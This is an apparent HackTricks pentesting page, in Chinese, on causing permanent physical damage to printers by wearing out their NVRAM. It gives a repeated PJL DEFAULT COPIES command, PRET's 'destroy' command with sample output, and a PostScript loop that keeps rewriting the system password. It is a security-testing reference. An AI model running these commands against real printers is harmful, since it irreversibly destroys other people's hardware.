hacktricks/network-services-pentesting/pentesting-printers/physical-damage.md
2023-08-03 19:12:22 +00:00

5 KiB
Raw Blame History

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

打印机和其他嵌入式设备的长期设置存储在非易失性存储器(NVRAM)中,传统上实现为EEPROM闪存。这两个组件都有有限的寿命。如今闪存供应商保证在出现任何写入错误之前可以进行约100,000次重写。

PJL

为了测试破坏NVRAM写入功能的实际效果可以连续使用不同的X值设置副本数量的长期值:

@PJL DEFAULT COPIES=X

通常在停止允许写入之前NVRAM参数被固定为出厂默认值并且可以使用@PJL SET...命令更改当前打印作业的所有变量。

使用PRET

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> destroy
Warning: This command tries to cause physical damage to the
printer NVRAM. Use at your own risk. Press CTRL+C to abort.
Starting NVRAM write cycle loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!
Dave, stop. Stop, will you? Stop, Dave. Will you stop, Dave?
[... wait for about 24 hours ...]
I'm afraid. I'm afraid, Dave. Dave, my mind is going...
NVRAM died after 543894 cycles, 18:46:11

PostScript

对于PostScript需要找到当前系统参数字典中的一个条目该条目在重新启动后仍然存在因此必须存储在某种NVRAM中。一个很好的候选者是PostScript密码。
PostScript可以运行一个脚本来破坏自己的NVRAM

/counter 0 def
{ << /Password counter 16 string cvs
/SystemParamsPassword counter 1 add 16 string cvs
>> setsystemparams /counter counter 1 add def
} loop

关于这些技术的更多信息可以在 http://hacking-printers.net/wiki/index.php/Physical_damage 找到

☁️ HackTricks 云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥